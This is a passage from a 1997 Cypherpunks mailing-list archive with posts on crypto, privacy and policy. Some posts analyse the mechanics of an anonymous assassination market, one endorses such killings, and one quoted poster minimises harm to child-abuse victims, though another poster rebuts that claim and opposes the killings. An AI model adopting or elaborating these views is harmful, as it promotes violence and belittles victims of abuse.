It's like the question the clerk asks at the airport: "Did anyone put
anything in your luggage you don't know anything about?"

Now that the word is out, of course, the wily thief will eschew pluggin in
until the hard drive is reformatted and installed
with a clean OS.  As usual: the stupid will be caught. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 12 Jun 1997 01:04:19 +0800
To: Wei Dai <weidai@eskimo.com>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
>I think the novelty of Bell's scheme is that it allows assassination
>payments to be pooled from a large number of anonymous payers without
>explicit coordination (i.e., the payers do not have to communicate with
>each other to work out a contract, etc.).  

That's not the novel part - in addition to anonymous contract killings,
it's also easy to run an anonymous fund that _claims_ it will use any
donations of digicash encrypted to the fund's public key for assassinating
the designated target.  In both that approach, and Bell's, there's still
the reputation problem of making sure the person collecting the money
really does pay off the killer.  What's novel about Bell's version
(and I don't know whether it originate with him or not) is that
it provides a cyberspace-only mechanism for the assassin to 
demonstrate to the payer that he's the one who did the job
and isn't some wannabe claiming to have done it to collect the cash.
	(like the wannabes who called newspapers claiming to
	have been the World Trade Center bombers, etc.)
There are alternatives, like posting a photo of the corpse to
a time-stamping service and then to Usenet, though this adds
some risk to the assassination, and is less useful for
public killings (e.g. if the President gets shot,
and there's a well-known address for the assassination pool,
the White House Press Corps may try to get their photographs
into the pool before sending them to Reuters and, umm, AP.)

The assassin still has to make sure he gets paid, and Bell suggests
(incorrectly, I think) that since all the payer is doing is
running a lottery, not contracting for killings, that the payer
could be a persistent entity with some reputation capital
who has an incentive to pay off.  

>Now in light of the fact that when the target has many enemies the
>assassination becomes a non-excludable public good, it is almost certain
>that the scheme cannot actually work in practice.  All of the potential
>payers would rather free-ride and let others pay, so the public good ends
>up not being "produced".

I think Bell is imagining that a lot of people would be willing to
pay $5 for killing high-profile targets, like a few IRS agents,
so this wouldn't be a problem for the targets _he_ wants killed off.
Getting people to chip in large amounts of money is tougher.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 12 Jun 1997 02:19:02 +0800
To: cypherpunks@cyberpass.net
Subject: CORBA Security beta from IONA
Message-ID: <9706111808.AA04795@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




I just received the latest "IonaSphere" newsletter from IONA, makers of
the Orbix Object Request Broker (ORB), and noticed this item which may
be of interest to some of the people on this list:


I28-B> IONA announces beta of CORBA Security Implementation
===========================================================
OrbixSecurity enables organizations to deploy their mission-critical
distributed systems on multiple platforms securely.  It is tightly
integrated with IONA's leading object request broker Orbix and facilitates
the creation of CORBA level 1 secure distributed component-based
applications.

In parallel with the development of OrbixSecurity, IONA is also working on
a secure socket layer (SSL v3.0) solution.  SSL will be bundled in the
company's Orbix/OTM enterprise suite of object development and management
tools, also scheduled for the third quarter.  SSL security offers
authentication (based on X.509 certificates) and encryption (based on
public and session key technologies).

Subsequent to the initial general availability of OrbixSecurity in the
third quarter of 1997, IONA will be working towards level 2 security
support (which deals mostly with the definition and administration of
security policies and domains) via product extensions and third party
integrations.

Availability
The OrbixSecurity beta is available immediately on the Sun Solaris and
Windows NT platforms.  To participate in the beta program send an e-mail
to beta@iona.com

For more information see http://www.iona.com/Press/PR/security.html


(Standard disclaimers: I don't work for these guys, get paid by them, etc...)

--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes - Denver <jim.burnes@ssds.com>
Date: Thu, 12 Jun 1997 01:34:33 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102800afc3acb3c6c8@[10.0.2.15]>
Message-ID: <Pine.SUN.3.91.970611110952.5748A-100000@denver>
MIME-Version: 1.0
Content-Type: text





On Tue, 10 Jun 1997, Steve Schear wrote:

> Date: Tue, 10 Jun 1997 18:22:38 -0700
> From: Steve Schear <azur@netcom.com>
> To: Jim Burnes <jim.burnes@ssds.com>
> Cc: cypherpunks@toad.com
> Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
> 
> >I understand, but my point was that at some point the system of "law"
> >became simply a system of supplicating the masses and no longer serves
> >justice.  When the system of law ceases to be a system of law and becomes
> >of system of corruption I no longer refer to it as law.  Important
> >Orwellian distinction.  Never let the bastards control the definitions and
> >language.
> 
> "Nothing distinguishes more clearly conditions in a free country from those
> in a country under arbitrary government than the observance in the former
> of the great principles known as the Rule of Law. Stripped of all
> technicalities, this means that government in all its actions is bound by
> rules fixed and announced beforehand-rules which make it possible to
> foresee with fair certainty how the authority will use its coercive powers
> in given circumstances and to plan one's individual affairs on the basis of
> this knowledge."
> 
> >From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
> exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
> 198, the Rule of Law "means, in the first place the absolute supremacy or
> predominance of regular law as opposed to the influence of arbitrary power,
> and excludes the existence of arbitrariness, of prerogative, or even of
> wide discretionary authority on the part of government."
> 

Steve:

Thanks.

I think you agreed with me there.  I agree with Hayek's observation.

When the government is no longer bound by the "Rule of Law" (c),
it is no longer a rule of law, but becomes a capricious set of
miscellany designed to entrap (when necessary) those who would
oppose the priveledged.

(those with access to large amounts of cash, lawyers, connections
etc)

Jim Burnes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 00:45:38 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Response to 'My War'
Message-ID: <199706111629.JAA02709@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



James A Donald writes:

> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> > I doubt these children consented to the sexual activity. I doubt they 
> > consented to being photographed. I doubt they consented to the pictures 
> > being distributed to others.
> 
> Most of these children are adults now.  A great many of them are 
> grandmothers.  Yet I see no prosecutions for the distribution of 
> images by the supposed victims.
[...]
> Produce a victim and you will find it a lot easier to prosecute.

See http://www.net.be/connerotte/english-text.html for the timeline 
of last year's child sex & porn scandal in Belgium. Some of the 
victims there will never bring suit: they are dead.

Peter Trei
trei@process.com

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 12 Jun 1997 00:43:21 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: BAD ADVICE WARNING from Kent: Access to Storage and Communication
In-Reply-To: <95X48D67w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.96.970611122738.1289C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)

I'd keep those.  Never know what they might be worth to a computer junk
collector or museum 50 years from now.
 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You got it.  Compression won't happen.  But you can compress the data
before you encrypt it.  i.e.  use PKZIP or whatever to zip up your data to
a nice big zip file, encrypt the zip file with PGP or whatever, and backup
just the zip file.  (I'd do all this on an encrypted volume and set the
temp variable also to the encrypted volume so you won't have data
fragments leaking all over your drive in plain text for the spooks to
snarf up later.)

> Also: can somebody recommend good, fast 4MM drives that go inside a PC and
> work off a SCSI controller, and are supported by Windows NT and 95 with no
> special drivers? (I don't care about OS/2 and Linux support)

All the DAT drives I've seen are SCSI.  There are internal ones out there.
I'd stay away from the weird ones like HP or Sony, and get some generic
one.  Get a DDS2 drive if you can.

> [I guess I'll burn the old media or something. :-) I still have about
> 3 cubic feet of 5.25" floppies that I don't know how to discard]

Run them through a degauser several times then auction them off or
whatever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 02:16:26 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: FCPUNX:Response to 'My War'
In-Reply-To: <199706111629.JAA02709@toad.com>
Message-ID: <199706111752.MAA04887@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706111629.JAA02709@toad.com>, on 06/11/97 
   at 12:29 PM, "Peter Trei" <trei@process.com> said:

>James A Donald writes:

>> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
>> > Anyone who thinks this doesn't affect the young children, you are wrong. 
>> > I doubt these children consented to the sexual activity. I doubt they 
>> > consented to being photographed. I doubt they consented to the pictures 
>> > being distributed to others.
>> 
>> Most of these children are adults now.  A great many of them are 
>> grandmothers.  Yet I see no prosecutions for the distribution of 
>> images by the supposed victims.
>[...]
>> Produce a victim and you will find it a lot easier to prosecute.

>See http://www.net.be/connerotte/english-text.html for the timeline  of
>last year's child sex & porn scandal in Belgium. Some of the  victims
>there will never bring suit: they are dead.

I think that you are missing the most important part of those articles:

The so-called "protectors of childered" ie government officials were
involved in the kidnaping, rape, and pornography of children and the
subsequent cover-up after the fact.

If there was ever a need for AP this is it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 04:49:24 +0800
To: cypherpunks@toad.com
Subject: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: <Pine.GSO.3.95.970611133503.12043H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 11 Jun 1997 13:32:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Flag burning vote TOMORROW and government-imposed ratings

I don't often forward along non-Net issues, but these are too important to
ignore. First, from my colleagues at AllPolitics:

	http://www.allpolitics.com/1997/gen/analysis/counterpoint/

        Counterpoint: Ban Flag Burning?

        It's baaaack.....! The House is set to vote June 12 on
	a proposed amendment to the Constitution that would
	ban flag desecration. Democratic Rep. William
	Lipinksi, a lead sponsor, says the flag is too
	important a symbol not to be protected, while ACLU
	executive director Ira Glasser warns against
	weakening the First Amendment.

Read on for a note from Chris Finan. Also check out Cato's web site for a
related paper on mandatory "voluntary" ratings by f-c subscriber Bob
Corn-Revere:

  http://www.cato.org/pubs/briefs/v_chipes.html

-Declan

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 12:43:54 -0400
From: Chris Finan <mediacoalition@sprintmail.com>
To: Declan McCullagh <declan@well.com>
Subject: Government ratings of TV

Declan,

	The opponents of government-mandated TV ratings need help.  The FCC is
under heavy pressure to appoint a panel to devise a system of ratings to
replace the ratings that the networks have voluntarily adopted.  More than
300 of the 355 e-mail comments received by the FCC have been from
individuals and groups urging greater censorship of TV.

	Would you post this message on the Fight Censorship list to let people
know that they can e-mail their views to the FCC?  Their messages, which
needn't be long or formal, should be sent to vchip@fcc.gov as soon as
possible. 

	The Free Expression Network has jumped in with both feet to the fight
against a government-mandated TV rating system.  Its website, the Free
Expression Clearing House, www.freeexpression.org, has a lot of current
information on the TV ratings fight.

	Thanks.  







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 12 Jun 1997 02:17:46 +0800
To: cypherpunks@toad.com
Subject: Unleashing Micro Viruses on Networks
Message-ID: <1.5.4.32.19970611175700.008324f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     6-11-97, Janes' Defence Weekly:

     Unleashing Microbots on Iran's IT Networks

     Unlike the 1990-1991 Gulf War, when the USA inserted a 
     National Security Agency-developed, virus-laden microchip 
     into a French computer printer headed for Baghdad, in 2015 
     the USA relies on several methods for infecting Iranian
     computers. These efforts hope to get around problems
     created by the proliferation of encryption technology. 

     While some peripheral equipment, like printers, will be
     intercepted and bugged in order to disable mainframe
     computers, intelligence technicians will also use the internet
     to send guided viruses into Iran's national information
     infrastructure. 

     Thumbnail-sized micro-robots, known as `microbots', will
     also be unleashed by micro-air vehicles and naval guns. These
     parasites will creep into electronic equipment, attach
     themselves, and keep themselves alive by draining generator
     power. 

     Once the electronics system's energy is depleted, the fully
     charged microscopic vermin will search for a new victim. 

     The main problem will be that they are too small to carry
     identification equipment and so they infect indiscriminately.
     As such, they must be deployed far away from allied
     equipment. 

     However, packages of microbots can be destroyed remotely
     as allies prepare to invade enemy territory. 

     <> 

     [Copyright 1997, Jane's Information Group] 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael  F. Reusch" <reusch@pluto.njcc.com>
Date: Thu, 12 Jun 1997 02:41:34 +0800
To: cypherpunks@cyberpass.net
Subject: IRS T-Pole Surveillance
Message-ID: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>
MIME-Version: 1.0
Content-Type: text/plain



>Commerce Business Daily, June 11, 1997
>Department of the Treasury, Internal Revenue Service, 
>6009 Oxon Hill Road, Suite 700, Oxon Hill, MD 20745
>Surveillance Systems SOL TIRNO97R00049 DUE 073097 
>POC Contract Specialist, Steve VanderLinden, FAX (202) 283-1514 

>The Internal Revenue Service requires enclosed surveillance systems 
>configured as transformers for mounting on telephone poles....

http://www.ld.com/cbd/archive/1997/06(June)/11-Jun-1997/58sol002.htm

Still laughing. Made my day!









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 12 Jun 1997 02:41:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
Message-ID: <199706111830.OAA02270@charon.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



> When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
> month.  Not as fast, but a much better price/performance ratio.

Granted, ISDN gives you only twice that of a 56k modem (ISDN gives you
128k), the major benefit of using ISDN over analog is latency.  The
latency of analog modems is as high as 300ms, whereas the latency of
an ISDN link is about 10% of that.  MUCH better for real-time
interactive connections.

It all depends on how you define "performance".  If you really want
good performance, get MediaOne, RoadRunner, of @Home service.

-derek

       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 12 Jun 1997 06:05:24 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <v0310280bafc4cc7b8ffd@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Ryan Anderson wrote:
>On Wed, 11 Jun 1997, Peter Trei wrote:
>
>>    Did Psychos-R-Us request this site?  "Could you create a database so I
>> don't miss anyone when I go on a killing spree on the 900 block of
>> Rosewood?"
>
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...
>
>Why do people do these things?  (I wonder if publiclink is actually
>physically located in Texas..)
>
Why do people do what things?

Do you mean:
Why does the state of Texas collect this information and sell it
to anyone who is willing to write a check?

or:
Why would anyone take this publically availiable information
and make it available to the public?


When my libertairan streak is in full flood, I think that since
this information was collected by government employees and
paid for by tax dollars, that it should be availiable to anyone
who wants it, for (minimal or) no cost.

Of course, the better solution is to not collect the information
at all. (Not selling it just means that people can buy it on the
black market, or in the case of TRW, etc; buy legislatures)


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 03:18:47 +0800
To: cypherpunks@toad.com
Subject: (Fwd) Re: FCPUNX:Response to 'My War'
Message-ID: <199706111900.MAA04546@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




William H. Geiger III wrote:
> >James A Donald writes:
> 
> >> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> >> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> >> > I doubt these children consented to the sexual activity. I doubt they 
> >> > consented to being photographed. I doubt they consented to the pictures 
> >> > being distributed to others.
> >> 
> >> Most of these children are adults now.  A great many of them are 
> >> grandmothers.  Yet I see no prosecutions for the distribution of 
> >> images by the supposed victims.
> >[...]
> >> Produce a victim and you will find it a lot easier to prosecute.
> 
> >See http://www.net.be/connerotte/english-text.html for the timeline  of
> >last year's child sex & porn scandal in Belgium. Some of the  victims
> >there will never bring suit: they are dead.
> 
> I think that you are missing the most important part of those articles:
> 
> The so-called "protectors of childered" ie government officials were
> involved in the kidnaping, rape, and pornography of children and the
> subsequent cover-up after the fact.
> 
> If there was ever a need for AP this is it.

Mr Donald asked people to produce victims of child porn production, 
and implied that unless such victims could be found, we should assume
that the whole business was consensual fun. I have provided him with
proof of such victims. (I'm curious to see how he'll respond).

That there was (and for all I know, continues to be) high level
collusion within the Belgium government to hush this up is a side 
issue.

While the perpetrators of these atrocities should be given life
without parole, I say that AP is not the answer. I object to the 
death penalty in all circumstances.

Peter Trei
trei@process.com
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 03:50:30 +0800
To: cypherpunks@toad.com
Subject: (Fwd) FWD: Texas Driver's License database on the web
Message-ID: <199706111929.MAA04945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Just in case it's not clear from the headers, this is being posted
by Peter Trei.

------- Forwarded Message Follows -------
Some forwards removed.

From: Jim Thompson <jim@hosaka.SmallWorks.COM>

I got a '503 Service Unavailable  this server has been placed offline
by the operator.  Please try again later.'  response the first two
times I tried.  But then...

Oh look.  A record of which elections in which you've voted.

If you don't think this is the likely future, you're dead wrong.

Jim

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
From: Brent Heustess <heustess@mail.utexas.edu>

   This is a really spooky web site <http://www.publiclink.com>.  You can
search 17 million Texas drivers by name, driver's license number or
license plate number.  When you find a person, you can then find everyone
at that address with a license.  You can even find everyone with the same
9-digit zip code.  The record does not have a GIF of the photo, but it
has everything else on the license.

   Did Psychos-R-Us request this site?  "Could you create a database so I
don't miss anyone when I go on a killing spree on the 900 block of
Rosewood?"
   "28 my ass.  I just checked the web and it says you were born 1965.  Not
ready to admit to be post-30?  I'm not buying the 'I weigh 110' either.  I
read 118 plain as day."
   "I can't believe it.  That asshole just cut me off.  Well, Mr. ZBW-446,
I guess a little midnight visit is in order to 1918 Grover St.  Prepare to
be stalked."
   "Johnny, I looked up your record last night and I couldn't believe my
eyes.  You're livin' in sin with that Sally Jenkins slut.  How could you do
this to your Dad & me?  You move out now or we're gonna cut off your
college money!"

   Public Link says this is public information, but where are the good old
days when you had to have a friend down at the Dept of Public Safety who
would look plate numbers up for you?  If it was good enough for Rockford,
it's good enough for me.  Suprress your phone number & address from the
phone book, but then it shows up in a searchable database on the web.
Lot of good that did you.  Now all those 7th Day Adventists know excatly
where you live.  Privacy, schmivacy.

Ta,
Brent

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        Public Link Corporation
                   Public Databases on the Internet

             5930-E Royal Lane Ste 173, Dallas, TX 75230
                            (214) 890-6817

Welcome to Public Link Corp., the Information Source of the Internet.
We are here to provide public access to public information and public
databases.

The company uses data obtained from public sources currently available
through the Freedom of Information Act and Open Records Laws. We
believe it is the citizen's right to have this information available
for their use.

We expect to grow our database offerings to you over the next several
months. Many times you have needed the type of information we provide
and have had to use varous methods to obtain the information. Some of
these methods you would prefer not to have to use again. Not any more!
Just sit back and let us do the work for you. If you have a special
suggestions or request, please let us know. Come and join us as we
enter the information age!

- - ----------------------------------------------------------------------

TexasDriverLink
State of Texas Licensed Drivers. Over 17,000,000 Texas Drivers License
Information. Updated weekly. This database contains the information
contained on a person's drivers license. Data included are Name,
Address, Weight, Birth Date, Sex, Expiration Date, Status (Active or
Suspended), Class of License, and Restrictions. This database does not
contain information on a person's traffic tickets, DWIs, or Insurance
information. Search either by name or if you know the drivers license
number, search by number.

TexasTagLink
State of Texas License Plates. Over 16,000,000 license plates with
accompaning information. Updated weekly. This database contains the
information about the owner of a vehicle. This database does not
contain insurance information. Search currently only available by
plate number.

TexasDallasVoterLink
Registered voter role for Dallas County Texas. This database also
contains voting history for each of the one million registered voters.
This database is updated quarterly.

TexasArrestLink

EvictionLink

CivilCourtLink

PropertyOwnerLink

MarriageRecordLink

- --
Jim Thompson / Smallworks, Inc. / jim@smallworks.com
      512 338 0619 phone / 512 338 0625 fax
HTML:  The 3270 of the 90s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 12 Jun 1997 07:36:51 +0800
To: cypherpunks@toad.com
Subject: Re: June 18th SF C'punks meeting: export controls on trial
Message-ID: <199706112323.QAA12560@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> ...  There will also
> be a regular 2nd-Saturday c'punks meeting this month (I think it's at
> PGP, Inc.)

Hi all; I haven't seen the agenda yet, but if there is time & interest,
I would be willing to organize a PGP key-signing party.

Signify interest by mailing your key -- or a pointer to it -- to me
by Friday.  Come to the c'punks meeting with photo ID and your PGP
fingerprint.

It would also be way cool if we could get some of the folks at PGP Inc.
to join in.

More info on key-signing parties will be at
www.best.com/~falconer/keyparty.html by tommorrow.

	-ed falk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 04:47:58 +0800
To: cypherpunks@toad.com
Subject: Money magazine on digital cash
Message-ID: <v03007807afc4b9039ebd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



As some of you know, I work in the Washington bureau of Time Inc., which is
home not just to Time Magazine and AllPolitics but also People and Money.
Some folks down the hall at Money are working on an article about digital
cash and the Net and would like to interview some folks who might have
something interesting to say. Keep in mind the magazine's focus is on
personal finance. If you're interested let me know and I'll forward your
names and contact info.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 12 Jun 1997 04:55:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <97Jun11.164333edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Steve Schear wrote:

> All prohibition of speech should be based on the judgement of whether or
> not specific individiuals (not general groups or socienty at large) can be
> reasonably be deduced to be at immediate risk or be harmed from that speech.

So, if "speech" can cause individuals in X to harm individuals in Y, there
is reason to prohibit it.

> I find lust to be a noble urge.

Then you probably find rape a noble deed.  I do not.  If you are referring
to the acts our net.loon often posts to this list, I hope you enjoy
placing yourself at his level.  My ideas originate above my limbic system.

> What happens when you sell high-power autos to immature consumers which can
> only be used as promoted by traveling at speeds well in excess of safe?

Which is why we have Drivers Licenses, lame as they are.  There should be
far more education - Germany doesn't have the same problems, but their
higher speeds are accompanied by higher thresholds for licensing and a
different driving ethic.

> Following this line of reasoning, isn't it appropriate that any
> attractive/exciting experience which gets the adreneline pumping (with the
> possibility for abuse and injury to third-parties) be regulated?

At least Detroit didn't burn down because the Red Wings won.  I would hope
the police are at least worried about riot control, and last time I
checked, inciting a riot wasn't considered free speech.

> >With guns and explosives, there is greater likelyhood that someone will
> >injure themselves or their own property on a destructive binge.  This type
> >of expression is more benign, though I don't think it represents the
> >better angels of our nature.  But I see no threat to me personally from
> >such people.
> 
> I think some families in Oklahoma City may disagree.

The information on how to do demolition is available from the army, and
the ingredients were commonly available.  As was the truck he used to
transport it.  We can prevent many fires by an outright ban on gasoline. 

What item, if banned, would have prevented the act?

> >But I would not want to have someone leave the two components to a binary
> >nerve gas on a shelf...
> 
> Now you've transgressed from speech to possession.

I thought libertarians thought any mere possession should not be a crime.

> >Something that is in and of itself a turning away from reason and giving
> >in to emotion, and the ultimate destination of that path if it is followed
> >will result in injury to others, especially innocents, is something that
> >should be regulated.
> 
> Regulated or banned?  I find war to be the best such example, but we still
> have massive armies and a military-industrial complex don't we?

Within the edited section, I suggested something to this effect.  The
regulation should be such that they can do whatever act where I will be
safe from them.  If they are willing to spend their days in a "Molester's
Monastery", they can look at whatever they want.  You can drink all you
want, but then you cannot drive a car until you are sober.  Anyone willing
to quarantine themselves should be able to do what they want.  People who
want to go out into public have responsibilities.

> >This form of "information" is an addictive drug, with the side effect is
> >that it destroys others much more than it destroys the abuser,
> 
> Can you back up this assertion with clinical data?

Not off hand.  I also cannot back up the statement that I will die if I
drink a particular poison (since I may have a particular immunity) without
conducting the test.  Can you suggest how we may conduct such a test on
kiddie porn without threatening children?

> >This does not mean that I am any less a civil-cyber-libertarian..
> 
> I believe it means you are a wanna-be Libertarian.

No, I am an autoarchist not an anarchist.  I belive in self-control which
is the difference between liberty an license.  If liberty is given to
barbarians it will be lost for everyone.

I want cryptography available even though it makes child-porn easier to
hide for the same reason I want gasoline available although it makes arson
easier to commit.  But I do not have to be pro-arson to be pro-gasoline.

And I can differentiate between ideas (which are protected free speech),
and things without any such content.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 08:08:51 +0800
To: cypherpunks@toad.com
Subject: export rules obsolete, says U.S. official
Message-ID: <199706112350.QAA31056@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




http://www.nando.net/newsroom/ntn/info/061197/info12_13274.html

   ______________________________________________________________________
                                      
            Supercomputer export rules obsolete, says U.S. official
  __________________________________________________________________________
                                       
      Copyright ) 1997 Nando.net
      Copyright ) 1997 The Associated Press
      
   WASHINGTON (June 11, 1997 5:56 p.m. EDT) -- A Commerce Department
   official denied that Clinton administration export policies let U.S.
   supercomputers be used by hostile nations for weapons and said old
   controls are now unworkable.
   
   The president's 1995 decision to loosen export controls on
   supercomputers and other high-tech products recognized that technology
   is advancing at lightning speed and already is available throughout
   the world, William A. Reinsch, Commerce's undersecretary for export
   administration, said Wednesday.
   
   Harsher restrictions on the export of the most powerful computers
   would be of limited benefit, he said.
   
   "Efforts to control at lower levels will not only be unsuccessful,
   they will limit our ability to widely disseminate American standards
   and software and damage our companies economically," Reinsch told the
   Senate Governmental Affairs subcommittee on international security,
   proliferation and federal services.
   
   "When President Clinton took office he was urged by congressional
   leaders of both parties to make long-overdue reforms in this area,"
   Reinsch said. "I believe our efforts to do that have been a model of
   good government decision making."
   
   Sen. Thad Cochran, subcommittee chairman, retorted that Russia's
   premier nuclear weapons labs have five American supercomputers, and at
   least 46 are used in China.
   
   "The good news is that some of these major scientific technological
   institutes across China may not be involved in developing weapons of
   mass destruction and missile delivery systems for China and its
   clients. But some surely are," Cochran, R-Miss., said. "And they're
   doing this work courtesy of what appears to be, at best, a deeply
   flawed U.S. export-control policy."
   
   The United States restricts export of fast-calculating supercomputers
   to nonallies. Military uses to which supercomputers can be put are
   testing nuclear weapons, building accurate missiles and developing
   code-breaking technology.
   
   Reinsch said the Justice Department is investigating three sales of
   supercomputers overseas, two in Russia and one to the Chinese Academy
   of Sciences. The sales are suspected of violating U.S. regulations
   designed to keep U.S. technology from falling into the wrong hands.
   
   Commerce officials also are checking into whether U.S. supercomputers
   sold to customers in Dubai have been resold to Iran, he said.
   
   Two Republican House members, Rep. Henry Hyde of Illinois and Rep.
   Tillie K. Fowler of Florida, have demanded a Justice Department
   investigation into sales of sensitive equipment to China as part of
   its inquiry into foreign campaign contributions to Democrats.
   
   In a May 22 letter to Attorney General Janet Reno, the lawmakers said
   the situation raises questions about whether campaign contributions
   from Asian donors led to the sales.
   
   In response to a question from Cochran, Reinsch said he didn't think
